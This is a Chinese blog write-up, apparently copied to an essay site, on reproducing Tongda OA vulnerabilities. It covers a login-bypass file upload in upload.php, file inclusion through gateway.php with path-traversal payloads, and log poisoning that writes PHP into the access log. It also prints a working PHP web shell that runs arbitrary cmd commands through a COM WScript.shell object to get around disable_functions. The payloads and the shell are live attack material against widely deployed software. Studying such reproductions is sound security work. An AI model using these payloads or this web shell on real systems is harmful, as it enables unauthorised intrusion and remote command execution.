1200字范文,内容丰富有趣,写作的好帮手!
1200字范文 > 通达oa php解密 通达OA漏洞学习 - 安全先师的个人空间 - OSCHINA - 中文开源技术交流社区...

通达oa php解密 通达OA漏洞学习 - 安全先师的个人空间 - OSCHINA - 中文开源技术交流社区...

时间:2023-12-10 05:38:15

相关推荐

通达oa  php解密 通达OA漏洞学习 - 安全先师的个人空间 - OSCHINA - 中文开源技术交流社区...

说明

通达OA漏洞在去年上半年已爆出,这不趁着周末没事做,将源码下载下来进行复现学习。

文件包含测试

文件包含检测,payload1:

ip/ispirit/interface/gateway.php?json={"url":"/general/../../mysql5/my.ini"}

利用文件包含访问mysql.ini,检查是否有某些特定字符串 ,比如innodb_log_group_home_dir

payload2:

ip/ispirit/interface/gateway.php?json={}&url=/general/../../nginx/logs/oa.access.log

利用文件包含访问OA日志

复现

源码下载

链接:/s/1HP5pDsAK2QLOWpnB1JX-Yg提取码:vab0

是个exe,安装解压完是php代码。用Sublime打开,都是16进制加密

用notepad打开显示,zend加密,

php在线解密网站:/free.html

解密出源代码。

文件上传

ispirit/im/upload.php

要上传首先需要绕过登陆验证,在本系统中auth.php是登陆验证的相关逻辑,但在upload.php未修复前,如果$P非空就不需要经过auth.php验证即可执行后续代码。利用此处逻辑漏洞可绕过登陆验证直接上传文件。

经过下载源码测试,上传后的文件在MYOA/attach/im//目录下。因上传后的文件不在根目录,所以无法直接利用,因此需要进行文件包含。

文件包含

与上传相反,这里不传P参数就可以文件包含。未修复前,可通过精心构造json进入47行的includ_once进行文件包含。官方在补丁中过滤了 ,防止用户读取其他目录文件。

POC

poc有很多,其一,首先构造url并访问,在日志中写入一句话,原理是OA默认会将访问url,agent写日志。

/ispirit/interface/gateway.php?json={}&a=<?php file_put_contents('1.php','hello123');?>

先在浏览器访问,

发现"

用burp重新发包。

成功写入日志。(写日志的方式省去了上传)

文件包含

如果php poc 为<?php file_put_contents('1.php','hello123');?>

则上传到 存在漏洞文件 gateway.php 同级目录,如果php poc为<?php file_put_contents('../1.php','hello123');?>,则上传到 上一级目录 ispirit 目录下。注意路径。

exp

通过 upload.php 上传一个文件,可自定义后缀名。经过下载源码测试,上传后的文件在MYOA/attach/im//目录下。

思路一:

上传一个写shell的php文件,在利用文件包含写shell。

具体见exp.py。

思路二:

执行cmd,

MYOA/bin/ 目录下的 php.ini 禁用了一些执行,命令的函数。

disable_functions=exec,shell_exec,system,passthru,proc_open,show_source,phpinfodisable_classes =

参考

使用com组件绕过disable_functions/-qing-/p/10944118.html

eg:

<?php $command=$_GET['a'];$wsh = new COM('WScript.shell'); // 生成一个COM对象Shell.Application也能$exec = $wsh->exec("cmd /c".$command); //调用对象方法来执行命令$stdout = $exec->StdOut();$stroutput = $stdout->ReadAll();echo $stroutput;?>

这里写的exp总是将post数据自动url编码。达不到burp的效果。

需要先设置一次请求头setHeader("Content-Type", "application/x-www-form-urlencoded")再将数据拼接成string格式再进行发送 ,终于写成了exp2.py。

版本路径

不同环境路径不同。

例如:/ispirit/im/upload.php/ispirit/interface/gateway.php例如:/ispirit/im/upload.php/mac/gateway.php

后记

一些趣事,正常该用post包含的。

get包含就很玄学了。正常get请求(不空行)是不行的,在浏览器GET请求也是不能包含的。

注意看我光标位置。必须空出来一行,否则不成功。get无请求体,不知道是什么原因。

空两行试试

发包,Content-Length都有了,可真牛啊。

wireshark抓个包,get没请求体呀。见strange-get-include.pcap。

往期精彩

感兴趣的可以点个关注!!!

关注「安全先师」

把握前沿安全脉搏

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。